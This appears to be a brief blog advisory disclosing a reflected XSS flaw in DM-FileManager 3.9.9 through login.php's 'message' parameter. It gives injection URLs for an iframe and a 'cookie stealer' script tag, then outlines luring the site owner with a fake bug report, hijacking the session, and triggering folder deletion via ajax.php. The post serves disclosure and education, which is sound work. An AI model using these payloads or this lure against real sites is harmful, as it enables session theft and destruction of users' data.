DM-FileManager 3.9.9 XSS Vulnerability

The nDarkness community has recently been working with the wonderful developers over at to review and point out security flaws in some of their freely available software.

During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes. It is our hope that this information will be used to help others write more secure code and realize the dangers involved with these mistakes.

DM-FileManager 3.9.9 and below is vulnerable to XSS via the message variable not being properly sanitized.

This example shows in an iframe within the login page:

http://localhost/~safety/dm-filemanager/login.php?referrer=/&message=<p align=center><iframe src= width=100% height=800></iframe></p>

Here is a url encoded version:


and one step farther is the cookie stealer script:

http://localhost/~safety/dm-filemanager/login.php?referrer=/&message=<SCRIPT SRC=></SCRIPT>

Here is a url encoded version:


A common exploit for this would be to make up a bug report and alert the site owner of the situation in the hopes that they were logged in when they clicked the link above. The next step would be to use session hijacking to steal the user’s session.

Another option is to call the delete folder ajax.php command and let the user delete directories off of their site.


DM-Filemanager users should not follow untrusted links and should upgrade to the latest version.

Tags: , , , , ,

No comments yet.

Leave a Reply